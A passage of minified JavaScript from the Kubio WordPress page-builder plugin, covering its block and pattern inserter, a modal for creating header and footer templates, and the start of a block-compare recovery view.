0===t||null===(n=t.supports)||void 0===n||null===(o=n.kubio)||void 0===o?void 0:o.isGutentagQuickInsertDefault}))),Object(p.isEmpty)(e)){const n=R.sort(((e,t)=>(Object(l.isGutentagPrefixed)(e.name)?0:1)-(Object(l.isGutentagPrefixed)(t.name)?0:1)));e=Object(k.a)(n,A,D,t)}return void 0!==E?e.slice(0,E):e}),[t,R,A,D,E]);Object(r.useEffect)((()=>{if(!t)return;const e=z.length,n=Object(d.sprintf)(/* translators: %d: number of results. */Object(d._n)("%d result found.","%d results found.",e,"kubio"),e);N(n)}),[t,N]);const V=!Object(p.isEmpty)(z);return Object(r.createElement)(r.Fragment,null,!S&&!V&&Object(r.createElement)(v.a,null),!!z.length&&Object(r.createElement)(O.a,{title:Object(r.createElement)(a.VisuallyHidden,null,Object(d.__)("Blocks","kubio"))},t&&Object(r.createElement)(j,{filteredBlockTypes:z,onSelect:F,onHover:o,label:Object(d.__)("Blocks","kubio"),isDraggable:C}),!t&&Object(r.createElement)(m.a,{items:z,onSelect:F,onHover:o,label:Object(d.__)("Blocks","kubio"),isDraggable:C})),S&&Object(r.createElement)(f.a.Slot,{fillProps:{onSelect:F,onHover:o,filterValue:t,hasItems:V,rootClientId:P}},(e=>e.length?e:V?null:Object(r.createElement)(v.a,null))))}},function(e,t,n){"use strict";var o=n(175),r=n(0),l=n(11),c=n(42);const i=e=>e+1,a=e=>({top:e.offsetTop,left:e.offsetLeft});t.a=function(e){let{isSelected:t,adjustScrolling:n,enableAnimation:s,triggerAnimationOnChange:u}=e;const d=Object(r.useRef)(),b=Object(l.useReducedMotion)()||!s,[p,m]=Object(r.useReducer)(i,0),[f,g]=Object(r.useReducer)(i,0),[h,v]=Object(r.useState)({x:0,y:0}),O=Object(r.useMemo)((()=>d.current?a(d.current):null),[u]),k=Object(r.useMemo)((()=>{if(!n||!d.current)return()=>{};const e=Object(c.getScrollContainer)(d.current);if(!e)return()=>{};const t=d.current.getBoundingClientRect();return()=>{const n=d.current.getBoundingClientRect().top-t.top;n&&(e.scrollTop+=n)}}),[u,n]);return Object(r.useLayoutEffect)((()=>{p&&g()}),[p]),Object(r.useLayoutEffect)((()=>{if(!O)return;if(b)return void k();d.current.style.transform=void 0;const e=a(d.current);m(),v({x:Math.round(O.left-e.left),y:Math.round(O.top-e.top)})}),[u]),Object(o.useSpring)({from:{x:h.x,y:h.y},to:{x:0,y:0},reset:p!==f,config:{mass:5,tension:2e3,friction:200},immediate:b,onChange:function(e){let{value:n}=e;if(!d.current)return;let{x:o,y:r}=n;o=Math.round(o),r=Math.round(r);const l=0===o&&0===r;d.current.style.transformOrigin="center center",d.current.style.transform=l?void 0:`translate3d(${o}px,${r}px,0)`,d.current.style.zIndex=t?"1":"",k()}}),d}},,,,,,,,,,function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(3),c=n(1),i=n(7),a=n(2),s=n.n(a),u=n(35),d=n(12),b=n(29),p=n(24);function m(e){const{currentStep:t}=e,n=s.a.get(g,t);return Object(r.createElement)(n,e)}const f={STEP_1:"step1",STEP_2:"step2"},g={[f.STEP_1]:function(e){let{areaLabel:t,setStep:n=s.a.noop,setApplyTemplateOn:o=s.a.noop}=e;const a=()=>{n(f.STEP_2)},{currentTemplateLabel:u}=Object(i.useSelect)((e=>{var t;const{getCurrentPageTemplate:n,getCurrentPostType:o,getAvailablePageTemplates:r}=e(p.STORE_KEY),l=o();let c=n();l===c&&(c="");const i=r();return{currentTemplateLabel:(null===(t=s.a.find(i,{value:c}))||void 0===t?void 0:t.label)||""}}),[]);return Object(r.createElement)(r.Fragment,null,Object(r.createElement)("p",{dangerouslySetInnerHTML:{__html:""===u?Object(c.sprintf)(Object(c.__)("Would you like to apply this %s to all pages that are using the current template or only for this page?","kubio"),t):Object(c.sprintf)(Object(c.__)('Would you like to apply this %1$s to all pages that are using the "%2$s" template?',"kubio"),t,`<strong>${u}</strong>`)}}),Object(r.createElement)(l.ButtonGroup,{className:"h-template-part-modal__button-group"},Object(r.createElement)(l.Button,{isLink:!0,onClick:()=>{o(h.ALL_PAGES),a()}},Object(c.__)("Apply to all pages","kubio")),Object(r.createElement)(b.ProItem,{tag:l.Button,isPrimary:!0,onClick:()=>{o(h.THIS_PAGE),a()},urlArgs:{source:"inserter",content:"create-template"}},Object(c.__)("Apply to this page only","kubio"))))},[f.STEP_2]:function(e){let{areaLabel:t,otherAreaLabel:n,onCloseModal:o,onInsert:i,pageTitle:a,isFrontPage:s,applyTemplateOn:u}=e;const d=Object(c.sprintf)("%s template",a),[b,p]=Object(r.useState)(d),m=u===h.ALL_PAGES,f=!s&&!m;return Object(r.createElement)(r.Fragment,null,Object(r.createElement)("div",null,Object(r.createElement)("div",{className:"kubio-classic-theme-create-template-modal__step2__input"},f&&Object(r.createElement)(l.__experimentalInputControl,{label:Object(c.__)("Template name","kubio"),value:b,onChange:p,placeholder:Object(c.__)("Eg. Page name - Template","kubio"),autoFocus:!0})),Object(r.createElement)("div",{className:"kubio-classic-theme-create-template-modal__step2__paragraph"},Object(r.createElement)("strong",null,Object(c.__)("Note: ","kubio")),Object(r.createElement)("span",null,Object(c.sprintf)(Object(c.__)(" Applying this %s will also replace the %s on this page.","kubio"),t,n))),Object(r.createElement)("div",{className:"kubio-classic-theme-create-template-modal__step2__paragraph"},Object(c.sprintf)(Object(c.__)("The current page uses the header and footer provided by the theme. Replacing the %s will create a new template so the %s will also be replaced with a Kubio %s","kubio"),t,n,n))),Object(r.createElement)(l.ButtonGroup,{className:"h-template-part-modal__button-group"},Object(r.createElement)(l.Button,{isLink:!0,onClick:o},Object(c.__)("Cancel","kubio")),Object(r.createElement)(l.Button,{isPrimary:!0,onClick:()=>{i(b)}},Object(c.sprintf)(Object(c.__)("Change the %s","kubio"),t))))}},h={ALL_PAGES:"allPages",THIS_PAGE:"thisPage"};function v(e){return e?s.a.cloneDeep(e).map((e=>{const t=v(e.innerBlocks);return{...e,innerBlocks:t}})):e}function O(e,t){let n=e.find((e=>(null==e?void 0:e.name)===t));return n||(e.forEach((e=>{if(n)return;(null==e?void 0:e.name)===t&&(n=e);const o=s.a.get(e,"innerBlocks");if(Array.isArray(o)){const e=O(o,t);e&&(n=e)}})),n)}var k=n(33);const j="kubio/templates";const _=["header","footer","sidebar"];function y(e){let{onClose:t=s.a.noop,onSuccess:n=s.a.noop,area:o,innerBlocks:a,isFSEFrontPageButDoesNotHaveFrontPageTemplate:b=!1}=e;const[p,g]=Object(r.useState)(h.THIS_PAGE),y=Object(i.useSelect)((e=>{var t,n;if(_.includes(o))return o;const{getBlock:r}=e("core/block-editor"),{getEntityRecord:l,getCurrentTheme:c}=e("core"),i=null===(t=c())||void 0===t?void 0:t.stylesheet,a=r(o),s=l("postType","wp_template_part",`${i}//${null==a||null===(n=a.attributes)||void 0===n?void 0:n.slug}`);return null==s?void 0:s.area})),{onNewTemplate:E,pageTitle:S,isFrontPage:C}=function(e){let{type:t,innerBlocks:n,applyTemplateOn:o}=e;const{storeData:l={},computedData:a={}}=Object(i.useSelect)((e=>e(j).getTemplateData()),[]),{currentPage:b={},postId:p,postType:m,templates:f}=l,{configPerType:g={}}=a,{pageTitle:_,isFrontPage:y,getEntityRecords:E}=Object(i.useSelect)((e=>{var t;const{getEntityRecord:n,getEntityRecords:o,getEditedEntityRecord:r}=e("core"),l=n("postType",m,p),c=null==l||null===(t=l.title)||void 0===t?void 0:t.raw,i=r("root","site");return{pageTitle:c,isFrontPage:(null==i?void 0:i.page_on_front)==p,getEntityRecords:o}})),S=Object(r.useRef)(!1),C=Object(r.useRef)(!1),w=["kubio-full-width","full-width"],B=Object(r.useMemo)((()=>f.find((e=>w.includes(e.slug)))),[JSON.stringify(f)]),I=s.a.get(g,t,{}),x=s.a.get(I,"label","Part"),T=s.a.get(I,"blockName"),{editEntityRecord:N,saveEntityRecord:M,saveEditedEntityRecord:P}=Object(i.useDispatch)("core"),{setPage:L}=Object(i.useDispatch)("kubio/edit-site"),{createErrorNotice:R,createSuccessNotice:A}=function(){const{createErrorNotice:e,createSuccessNotice:t}=Object(i.useDispatch)("core/notices");return{createSuccessNotice:(e,n)=>t(e,{type:"snackbar",...n}),createErrorNotice:(t,n)=>e(t,{type:"snackbar",...n})}}();function D(){throw"Error"}const F=Object(r.useRef)(),z=Object(k.useSetGlobalSessionProp)("ready"),V=()=>{clearTimeout(F.current),F.current=setTimeout((()=>{z(!0)}),3e3)},H=async e=>{const{link:t}=b;let n;try{const e=new URL(t);e.searchParams.append("random",Math.random());const o=e.toString();n=Object(u.getPathAndQueryString)(o)}catch(e){}finally{V()}await L({path:n,context:{postType:m,postId:p}},e)};return{onNewTemplate:async function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:`${_} template`;try{var r;if(S.current)return;S.current=!0,clearTimeout(F.current),z(!1);const l=v(Object(d.parse)(null==B||null===(r=B.content)||void 0===r?void 0:r.raw)),i={};let a,u,b;if(y)b=!1,a=Object(c.__)("Front Page","kubio"),u="front-page",i.kubio_template_source="kubio";else if(o===h.ALL_PAGES){const e=E("postType","wp_template",{per_page:-1}).find((e=>"page"===e.slug));if(e)return async function(e){var t;const o=O(v(Object(d.parse)(null==e||null===(t=e.content)||void 0===t?void 0:t.raw)),T),r=s.a.get(o,["attributes","slug"]),l=`${s.a.get(o,["attributes","theme"])}//${r}`,c={content:Object(d.serialize)(n)};return await N("postType","wp_template_part",l,c),await P("postType","wp_template_part",l),await N("postType",m,p,{template:""}),await H(e),!0}(e);b=!1,a="Page",u="page",i.kubio_template_source="kubio"}else b=!0,a=e,u=`${m}-${a}`;const f=await async function(){try{if(C.current)return;C.current=!0;const e=`${_} ${t}`,o={title:e,slug:e,area:t,kubio_template_source:"kubio-custom",content:Object(d.serialize)(n)};return await M("postType","wp_template_part",o)}catch(e){R(`Could not create new ${x}. Please try again later`)}finally{C.current=!1}}();f||D();const g=s.a.get(f,"slug"),k=O(l,T);s.a.set(k,["attributes","slug"],g),b&&(i.kubio_template_source="kubio-custom");const j={title:a,slug:u,content:Object(d.serialize)(l),...i},w=await M("postType","wp_template",j);return w&&null!=w&&w.slug||D(),y||o===h.ALL_PAGES||await N("postType",m,p,{template:null==w?void 0:w.slug}),await H(w),A(Object(c.__)("New template created successfully","kubio")),w}catch(e){V(),R(Object(c.__)("Could not create new template. Please try again later","kubio"))}finally{S.current=!1}},pageTitle:_,isFrontPage:y}}({type:y,innerBlocks:a,isFSEFrontPageButDoesNotHaveFrontPageTemplate:b,applyTemplateOn:p,setApplyTemplateOn:g}),w=C?f.STEP_2:f.STEP_1,[B,I]=Object(r.useState)(w),x=()=>{t()},T=async e=>{t(),await E(e)&&n()};if(Object(r.useEffect)((()=>{b&&T()}),[b]),b)return null;const N=y,M=y===Object(c.__)("header","kubio")?Object(c.__)("footer","kubio"):Object(c.__)("header","kubio"),P=function(e){switch(e){case f.STEP_1:return Object(c.__)("Apply for all pages?","kubio");case f.STEP_2:return Object(c.__)("New template required","kubio")}}(B);return Object(r.createElement)(l.Modal,{title:P,onRequestClose:x},Object(r.createElement)("div",{className:"kubio-inserter-ignore-click-outisde kubio-classic-theme-create-template-modal"},Object(r.createElement)(m,{areaLabel:N,otherAreaLabel:M,onCloseModal:x,onInsert:T,pageTitle:S,applyTemplateOn:p,setApplyTemplateOn:g,currentStep:B,setStep:I,isFrontPage:C})))}const E=[Object(r.createInterpolateElement)(Object(c.__)("While writing, you can press <kbd>/</kbd> to quickly insert new blocks.","kubio"),{kbd:Object(r.createElement)("kbd",null)}),Object(r.createInterpolateElement)(Object(c.__)("Indent a list by pressing <kbd>space</kbd> at the beginning of a line.","kubio"),{kbd:Object(r.createElement)("kbd",null)}),Object(r.createInterpolateElement)(Object(c.__)("Outdent a list by pressing <kbd>backspace</kbd> at the beginning of a line.","kubio"),{kbd:Object(r.createElement)("kbd",null)}),Object(c.__)("Drag files into the editor to automatically insert media blocks.","kubio"),Object(c.__)("Change a block's type by pressing the block icon on the toolbar.","kubio")];var S=function(){const[e]=Object(r.useState)(Math.floor(Math.random()*E.length));return Object(r.createElement)(l.Tip,null,E[e])},C=n(247),w=n(112),B=n(125),I=n(115),x=n(152);var T=function(e){let{rootClientId:t,onInsert:n,onHover:o,showMostUsedBlocks:l}=e;const[i,s,u,d]=Object(I.a)(t,n),b=Object(r.useMemo)((()=>Object(a.orderBy)(i,["frecency"],["desc"]).slice(0,6)),[i]),p=Object(r.useMemo)((()=>i.filter((e=>!e.category))),[i]),m=Object(r.useMemo)((()=>{let e=Object(a.flow)((e=>e.filter((e=>e.category&&"reusable"!==e.category))),(e=>Object(a.groupBy)(e,"category")))(i);return e=function(e){const t={"kubio-template-parts":["kubio/header","core/post-content","kubio/footer","kubio/sidebar"],"kubio-components":["kubio/tab","kubio/accordion","kubio/image-gallery","kubio/social-icons","kubio/iconlist","kubio/contact","kubio/map","kubio/dropdown-menu","kubio/accordion-menu","kubio/shortcode","kubio/counter","kubio/flipbox","kubio/multipleimages","kubio/slider","kubio/carousel","kubio/subscribe-form","kubio/pricing","kubio/pricing-table","kubio/breadcrumb"],"kubio-blog-components":["kubio/query-loop","kubio/post-title","kubio/post-excerpt","kubio/post-featured-image","kubio/post-meta","kubio/read-more-button","kubio/post-tags","kubio/post-categories","kubio/post-comments","kubio/post-comments-form","kubio/query-pagination","kubio/pagination-nav-button","kubio/pagination-numbers","kubio/widget-area","kubio/query-layout"],"kubio-basic":["kubio/row","kubio/text","kubio/heading","kubio/image","kubio/video","kubio/buttongroup","kubio/linkgroup","kubio/icon","kubio/spacer","kubio/divider"],"kubio-site-data":["kubio/home-button","kubio/logo","kubio/page-title","kubio/search-form","kubio/copyright"],"kubio-layout":["kubio/section"]};for(const n in e)void 0!==t[n]&&e[n].sort(((e,o)=>{const r=t[n].indexOf(e.name);if(r<0)return 1;const l=t[n].indexOf(o.name);return l<0?-1:r-l}));return e}(e),e}),[i]),f=Object(r.useMemo)((()=>{const e={...u};return Object.keys(u).forEach((t=>{e[t]=i.filter((e=>(e=>e.name.split("/")[0])(e)===t)),0===e[t].length&&delete e[t]})),e}),[i,u]);Object(r.useEffect)((()=>()=>o(null)),[]);const g=Object(r.useMemo)((()=>l&&!!b.length&&Object(r.createElement)(B.a,{title:Object(c._x)("Most used","blocks","kubio")},Object(r.createElement)(w.a,{items:b,onSelect:d,onHover:o,label:Object(c._x)("Most used","blocks","kubio")}))),[b,l,d,o]);return Object(r.createElement)(x.d,null,Object(r.createElement)("div",null,g,Object(a.map)(s,(e=>{const t=m[e.slug];return t&&t.length?Object(r.createElement)(B.a,{key:e.slug,title:e.title,icon:e.icon},Object(r.createElement)(w.a,{items:t,onSelect:d,onHover:o,label:e.title})):null})),p.length>0&&Object(r.createElement)(B.a,{className:"block-editor-inserter__uncategorized-blocks-panel",title:Object(c.__)("Uncategorized","kubio")},Object(r.createElement)(w.a,{items:p,onSelect:d,onHover:o,label:Object(c.__)("Uncategorized","kubio")})),Object(a.map)(u,((e,t)=>{const n=f[t];return n&&n.length?Object(r.createElement)(B.a,{key:t,title:e.title,icon:e.icon},Object(r.createElement)(w.a,{items:n,onSelect:d,onHover:o,label:e.title})):null}))))},N=n(11),M=n(13),P=n.n(M),L=function(e){let{selectedCategory:t,patternCategories:n,onClickCategory:o,children:i}=e;return Object(r.createElement)(r.Fragment,null,Object(r.createElement)("div",{className:P()("block-editor-inserter__panel-header","block-editor-inserter__panel-header-patterns")},Object(r.createElement)(l.SelectControl,{className:"block-editor-inserter__panel-dropdown",label:Object(c.__)("Filter patterns","kubio"),hideLabelFromVision:!0,value:t.name,onChange:e=>{o(n.find((t=>e===t.name)))},onBlur:e=>{null!=e&&e.relatedTarget||e.stopPropagation()},options:(()=>{const e=[];return n.map((t=>e.push({value:t.name,label:t.label}))),e})()})),Object(r.createElement)("div",{className:"block-editor-inserter__panel-content"},i))},R=n(169),A=n(131),D=n(14),F=n(19);const z=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"content";const{patternCategories:n,patterns:o}=Object(i.useSelect)((e=>{const{getSettings:n}=e(D.a);return{patterns:n().__experimentalBlockPatterns.filter((e=>e.isGutentagPattern&&0===e.name.indexOf(`kubio-${t}`))),patternCategories:n().__experimentalBlockPatternCategories}}),[t]);return[Object(r.useMemo)((()=>s.a.orderBy(o,["isProOnFree","collections[0]","index","title"],["asc","asc","asc","asc"])),[o]),n,Object(r.useCallback)(((t,n)=>{const o=t.isGutentagPattern?Object(F.transformTemplateToBlock)(n):Object(a.map)(n,(e=>Object(d.cloneBlock)(e)));e(o,t)}),[])]},V=(e,t)=>{const{patternCategories:n,patterns:o}=Object(i.useSelect)((e=>{const{getSettings:t}=e(D.a);return{patterns:t().__experimentalBlockPatterns.filter((e=>!e.isGutentagPattern&&(!e.scope||e.scope.inserter))),patternCategories:t().__experimentalBlockPatternCategories}}),[t]);return[o,n,Object(r.useCallback)(((t,n)=>{e(Object(a.map)(n,(e=>Object(d.cloneBlock)(e))),t.name)}),[])]};var H=n(123);function G(e){let{rootClientId:t,onInsert:n,selectedCategory:o,onClickCategory:l,filterValue:i=""}=e;const[s,u,d]=V(n,t),b=Object(r.useMemo)((()=>Object(A.b)(s,i)),[i,s]),p=Object(r.useMemo)((()=>u.filter((e=>b.some((t=>{var n;return null===(n=t.categories)||void 0===n?void 0:n.includes(e.name)}))))),[b,u]),m=o||p[0];Object(r.useEffect)((()=>{b.some((e=>f(e)===1/0))&&!p.find((e=>"uncategorized"===e.name))&&p.push({name:"uncategorized",label:Object(c._x)("Uncategorized","kubio","kubio")})}),[p,b]);const f=Object(r.useCallback)((e=>{if(!e.categories||!e.categories.length)return 1/0;const t=Object(a.fromPairs)(p.map(((e,t)=>{let{name:n}=e;return[n,t]})));return Math.min(...e.categories.map((e=>void 0!==t[e]?t[e]:1/0)))}),[p]),g=Object(r.useMemo)((()=>b.filter((e=>"uncategorized"===m.name?f(e)===1/0:e.categories&&e.categories.includes(m.name)))),[b,m]),h=Object(r.useMemo)((()=>g.sort(((e,t)=>f(e)-f(t)))),[g,f]),v=Object(N.useAsyncList)(h);return Object(r.createElement)(r.Fragment,null,!!g.length&&Object(r.createElement)(L,{selectedCategory:m,patternCategories:p,onClickCategory:l},Object(r.createElement)(R.a,{shownPatterns:v,blockPatterns:g,onClickPattern:d,label:m.label,orientation:"vertical",isDraggable:!0})),!g.length&&Object(r.createElement)(H.a,null))}var $=function(e){let{rootClientId:t,onInsert:n,onClickCategory:o,selectedCategory:l,filterValue:c=""}=e;return Object(r.createElement)(G,{rootClientId:t,selectedCategory:l,onInsert:n,onClickCategory:o,filterValue:c})};function U(e){let{onHover:t,onInsert:n,rootClientId:o}=e;const[l,,,i]=Object(I.a)(o,n),a=Object(r.useMemo)((()=>l.filter((e=>{let{category:t}=e;return"reusable"===t}))),[l]);return 0===a.length?Object(r.createElement)(H.a,null):Object(r.createElement)(B.a,{title:Object(c.__)("Reusable blocks","kubio")},Object(r.createElement)(w.a,{items:a,onSelect:i,onHover:t,label:Object(c.__)("Reusable blocks","kubio")}))}var W=function(e){let{rootClientId:t,onInsert:n,onHover:o}=e;return Object(r.createElement)(r.Fragment,null,Object(r.createElement)(U,{onHover:o,onInsert:n,rootClientId:t}),Object(r.createElement)("div",{className:"block-editor-inserter__manage-reusable-blocks-container"},Object(r.createElement)("a",{className:"block-editor-inserter__manage-reusable-blocks",href:Object(u.addQueryArgs)("edit.php",{post_type:"wp_block"})},Object(c.__)("Manage Reusable blocks","kubio"))))},K=n(258),q=n(174);const Y={name:"blocks",/* translators: Blocks tab title in the block inserter. */title:Object(c.__)("Blocks","kubio")},Q={name:"kubio-sections",/* translators: Patterns tab title in the block inserter. */title:Object(c.__)("Sections","kubio")},X={name:"patterns",/* translators: Patterns tab title in the block inserter. */title:Object(c.__)("Patterns","kubio")},Z={name:"reusable",/* translators: Reusable blocks tab title in the block inserter. */title:Object(c.__)("Reusable","kubio")};var J=function(e){let{children:t,showPatterns:n=!1,showReusableBlocks:o=!1,onSelect:c,initialTabName:i}=e;const s=Object(r.useMemo)((()=>{const e=[Y,Q];return o&&e.push(Z),e}),[Y,false,X,o,Z,Q]),u=Object(r.useRef)();return Object(r.useLayoutEffect)((()=>{if(u.current&&i&&s.length){const e=setTimeout((()=>{const e=Object(a.find)(s,{name:i}),t=s.indexOf(e),n=u.current.querySelectorAll(".components-tab-panel__tabs > *");n&&n.length&&n[t].click()}),50);return()=>clearTimeout(e)}}),[u.current,i,s]),Object(r.createElement)("div",{ref:u},Object(r.createElement)(l.TabPanel,{className:"block-editor-inserter__tabs",tabs:s,onSelect:c,initialTabName:i},t))},ee=n(120),te=n(320),ne=n(17);function oe(e){let{area:t="content",onInsert:n,filterValue:o=""}=e;const[u,d,b]=z(n,t),{isFrontPage:p}=Object(i.useSelect)((e=>{let t;try{const{getIsFrontPage:n=s.a.noop}=e("kubio/edit-site")||{};t=n()}catch(e){console.error(e)}return{isFrontPage:t}}),[]),m=Object(r.useMemo)((()=>u.filter((e=>{const t=s.a.get(e,"filters",{});return!s.a.get(t,"onlyInner",!1)||!p}))),[JSON.stringify(u),p]),f=window.kubioPatternsRegistered?H.a:re,g=Object(r.useMemo)((()=>Object(A.b)(m,o)),[o,m]),h=Object(r.useMemo)((()=>{let e=1;return d.filter((e=>g.some((t=>{var n;return null===(n=t.categories)||void 0===n?void 0:n.includes(e.name)})))).map((t=>{let n=!1;return"kubio-content/overlappable"!==t.name&&e&&(e--,n=!0),{...t,open:n}}))}),[g,d]),v=Object(r.useMemo)((()=>{const e={};return h.forEach((t=>{let{name:n}=t;const o=g.filter((e=>{var t;return null===(t=e.categories)||void 0===t?void 0:t.includes(n)}));e[n]=o})),e}),[h]);Object(r.useEffect)((()=>{g.some((e=>O(e)===1/0))&&!h.find((e=>"uncategorized"===e.name))&&h.push({name:"uncategorized",label:Object(c._x)("Uncategorized","kubio","kubio")})}),[h,g]);const O=Object(r.useCallback)((e=>{if(!e.categories||!e.categories.length)return 1/0;const t=Object(a.fromPairs)(h.map(((e,t)=>{let{name:n}=e;return[n,t]})));return Math.min(...e.categories.map((e=>void 0!==t[e]?t[e]:1/0)))}),[h]);return Object(r.createElement)(r.Fragment,null,!!h.length&&Object(r.createElement)(l.Panel,{className:"kubio-patterns-panel"},h.map((e=>{let t=e.label;return"kubio-content/blank"===e.name&&(t=Object(c.__)("Blank section","kubio")),Object(r.createElement)(l.PanelBody,{key:`patterns-category-${e.name}`,title:t,initialOpen:e.open||!Object(a.isEmpty)(o),opened:1===h.length||void 0},Object(r.createElement)(R.a,{blockPatterns:v[e.name],onClickPattern:b,orientation:"vertical"}))}))),!h.length&&Object(r.createElement)(f,null))}function re(){return Object(r.createElement)("div",{className:"block-editor-inserter__no-results"},Object(r.createElement)(ee.a,{className:"block-editor-inserter__no-results-icon",icon:te.a}),Object(r.createElement)("div",{className:"block-editor-inserter__no-results__message"},Object(r.createElement)(ee.a,{icon:ne.KubioLoader}),Object(r.createElement)("p",null,Object(c.__)("Loading sections…","kubio"))))}var le=function(e){let{rootClientId:t,onInsert:n,filterValue:o,area:l="content"}=e;return Object(r.createElement)(oe,{rootClientId:t,onInsert:n,filterValue:o,area:l})};t.a=function(e){let{rootClientId:t,clientId:n,isAppender:s,__experimentalInsertionIndex:u,onSelect:d,showInserterHelpPanel:b,showMostUsedBlocks:p,shouldFocusBlock:m=!0,shouldSelectBlock:f=!0,ownerDocument:g}=e;const[h,v]=Object(r.useState)(""),[O,k]=Object(r.useState)(null),[j,_,E,w]=Object(q.a)({rootClientId:t,clientId:n,isAppender:s,insertionIndex:u,shouldFocusBlock:m,shouldSelectBlock:f,ownerDocument:g}),{showPatterns:B,hasReusableBlocks:I,patternsInserterArea:x,showGutentagSectionsTab:N}=Object(i.useSelect)((e=>{var t;const{getSettings:n,__experimentalGetAllowedPatterns:o}=e(D.a),r=e("kubio/edit-site").getOpenedInserter();let l="content";return Object(a.isString)(r)&&(-1!==r.indexOf("pattern-inserter/")&&(l=r.replace("pattern-inserter/","")),-1!==l.indexOf("-blocks")&&(l=l.replace("-blocks","")),-1!==l.indexOf("post-content")&&(l="content")),{showPatterns:!j||!!o(j).length,hasReusableBlocks:!(null===(t=n().__experimentalReusableBlocks)||void 0===t||!t.length),patternsInserterArea:l,showGutentagSectionsTab:Object(a.isString)(r)&&"block-inserter"!==r&&-1===r.indexOf("blocks")}}),[j]),M=Object(r.useCallback)(((e,t,n)=>{void 0===n&&(n=!0),_(e,t,n),d()}),[_,d]),P=Object(r.useCallback)(((e,t)=>{var n,o;const r=(null===(n=Object(a.first)(null==t||null===(o=t.name)||void 0===o?void 0:o.split("/")))||void 0===n?void 0:n.replace("kubio-",""))||"content";_(e,{patternName:(null==t?void 0:t.name)||t,pattern:t,area:r}),d()}),[_,d]),L=Object(r.useRef)(),R=Object(r.useCallback)((e=>{t&&L.current!==e&&(L.current=e,E(!!e))}),[E,t]),A=Object(r.useCallback)((e=>{k(e)}),[k]),F=Object(r.useMemo)((()=>h?Object(r.createElement)(K.a,{filterValue:h,onSelect:d,onHover:R,rootClientId:t,clientId:n,isAppender:s,showBlockDirectory:!0,shouldFocusBlock:m,shouldSelectBlock:f}):Object(r.createElement)(r.Fragment,null,Object(r.createElement)("div",{className:"block-editor-inserter__block-list"},Object(r.createElement)(T,{rootClientId:j,onInsert:M,onHover:R,showMostUsedBlocks:p})),b&&Object(r.createElement)("div",{className:"block-editor-inserter__tips"},Object(r.createElement)(l.VisuallyHidden,{as:"h2"},Object(c.__)("A tip for using the block editor","kubio")),Object(r.createElement)(S,null)))),[j,M,R,h,p,b]),z=Object(r.useMemo)((()=>Object(r.createElement)($,{rootClientId:j,onInsert:P,onClickCategory:A,selectedCategory:O})),[j,P,A,O]),V=Object(r.useMemo)((()=>Object(r.createElement)(le,{rootClientId:j,onInsert:P,filterValue:h,area:x})),[j,P,h]),H=Object(r.useMemo)((()=>Object(r.createElement)(W,{rootClientId:j,onInsert:M,onHover:R})),[j,M,R]),G=Object(r.useCallback)((e=>"blocks"===e.name?F:"kubio-sections"===e.name?V:"patterns"===e.name?z:H),[F,z,H]),U=Object(r.useMemo)((()=>N?"kubio-sections":"blocks"),[N]),[Y,Q]=Object(r.useState)(U),{showCreateTemplateModal:X,onCloseTemplateModal:Z,onCreateTemplate:ee,newTemplateData:te,patternRootClientId:ne,...oe}=w;return Object(r.createElement)("div",{className:"block-editor-inserter__menu"},Object(r.createElement)("div",{className:"block-editor-inserter__main-area"},Object(r.createElement)("div",{className:"block-editor-inserter__content"},Object(r.createElement)(C.a,{onChange:e=>{v(e)},value:h,label:Object(c.__)("Search for blocks and patterns","kubio"),placeholder:Object(c.__)("Search","kubio")}),Object(r.createElement)(J,{showPatterns:B,showReusableBlocks:I,initialTabName:Y,onSelect:Q},G))),X&&Object(r.createElement)(y,Object(o.a)({area:ne,innerBlocks:te,onClose:Z,onSuccess:ee},oe)))}},function(e,t,n){"use strict";n.d(t,"a",(function(){return I}));var o=n(0),r=n(13),l=n.n(r),c=n(12),i=n(3),a=n(7),s=n(11),u=n(42),d=n(106),b=n(1),p=n(161),m=n(374);function f(e){let{title:t,rawContent:n,renderedContent:r,action:l,actionText:c,className:a}=e;return Object(o.createElement)("div",{className:a},Object(o.createElement)("div",{className:"block-editor-block-compare__content"},Object(o.createElement)("h2",{className:"block-editor-block-compare__heading"},t),Object(o.createElement)("div",{className:"block-editor-block-compare__html"},n),Object(o.createElement)("div",{className:"block-editor-block-compare__preview edit-post-visual-editor"},Object(o.createElement)(o.RawHTML,null,Object(u.safeHTML)(r)))),Object(o.createElement)("div",{className:"block-editor-block-compare__action"},Object(o.createElement)(i.Button,{variant:"secondary",tabIndex:"0",onClick:l},c)))}var g=function(e){let{block:t,onKeep:n,onConvert:r,convertor:i,convertButtonText:a}=e;const s=(u=i(t),(Array.isArray(u)?u:[u]).map((e=>Object(c.getSaveContent)(e.name,e.attributes,e.innerBlocks))).join(""));var u;const d=(p=t.originalContent,g=s,Object(m.diffChars)(p,g).map(((e,t)=>{const n=l()({"block-editor-block-compare__added":e.added,"block-editor-block-compare__removed":e.removed});return Object(o.createElement)("span",{key:t,className:n},e.value)})));var p,g;return Object(o.createElement)("div",{className:"block-editor-block-compare__wrapper"},Object(o.createElement)(f,{title:Object(b.__)("Current","kubio"),className:"block-editor-block-compare__current",action:n,actionText:Object(b.__)("Convert to HTML","kubio"),rawContent:t.originalContent,renderedContent:t.originalContent}),Object(o.createElement)(f,{title:Object(b.__)("After Conversion","kubio"),className:"block-editor-block-compare__converted",action:r,actionText:a,rawContent:d,renderedContent:s}))},h=n(14);const v=e=>Object(c.rawHandler)({HTML:e.originalContent});var O=Object(s.compose)([Object(a.withSelect)(((e,t)=>{let{clientId:n}=t;return{block:e(h.a).getBlock(n)}})),Object(a.withDispatch)(((e,t)=>{let{block:n}=t;const{replaceBlock:o}=e(h.a);return{convertToClassic(){o(n.clientId,(e=>Object(c.createBlock)("core/freeform",{content:e.originalContent}))(n))},convertToHTML(){o(n.clientId,(e=>Object(c.createBlock)("core/html",{content:e.originalContent}))(n))},convertToBlocks(){o(n.clientId,v(n))},attemptBlockRecovery(){o(n.clientId,(e=>{let{name:t,attributes:n,innerBlocks:o}=e;return Object(c.createBlock)(t,n,o)})(n))}}}))])((function(e){let{convertToHTML:t,convertToBlocks:n,convertToClassic:r,attemptBlockRecovery:l,block:a}=e;const s=!!Object(c.getBlockType)("core/html"),[u,d]=Object(o.useState)(!1),m=Object(o.useCallback)((()=>d(!0)),[]),f=Object(o.useCallback)((()=>d(!1)),[]),h=Object(o.useMemo)((()=>[{// translators: Button to fix block content
